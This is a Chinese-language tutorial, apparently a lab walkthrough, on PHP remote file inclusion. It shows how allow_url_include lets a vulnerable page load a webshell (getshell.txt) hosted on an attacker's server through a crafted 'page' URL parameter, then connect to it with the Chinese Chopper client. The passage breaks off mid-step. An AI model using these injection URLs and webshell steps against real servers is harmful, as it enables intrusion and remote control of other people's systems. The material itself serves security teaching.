PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。
(
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件
)
注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
例如:我们用windows server 2003 服务器包含一个Linux上的phpinfo.php文件,那么得到的就是Linux的php配置文件,而不是Windows上的php配置文件。
无限制远程文件包含漏洞示例:
已知192.168.173.128这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件
192.168.173.128/index.php
首先,我们在自己的服务器192.168.173.129上新建一个文件2.txt
我们通过远程包含文件包含到192.168.173.128这台目标服务器上,包含的方式与本地包含的方式一样:
http://192.168.173.128/index.php?page=http://192.168.173.129/2.txt
页面显示正常,说明文件包含成功!
我们继续包含一个木马文件getshell.txt看能否执行,为了方便查看,我们让它输出“123”
我们在浏览器的地址栏中写入
http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
成功显示出页面,文件包含成功
下面我们用中国菜刀连一下,看能否连接到目标的服务器
打开菜刀,右键“添加”,然后在地址栏中填入我们包含的payload:http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
,密码为“x”,选择php脚本,点击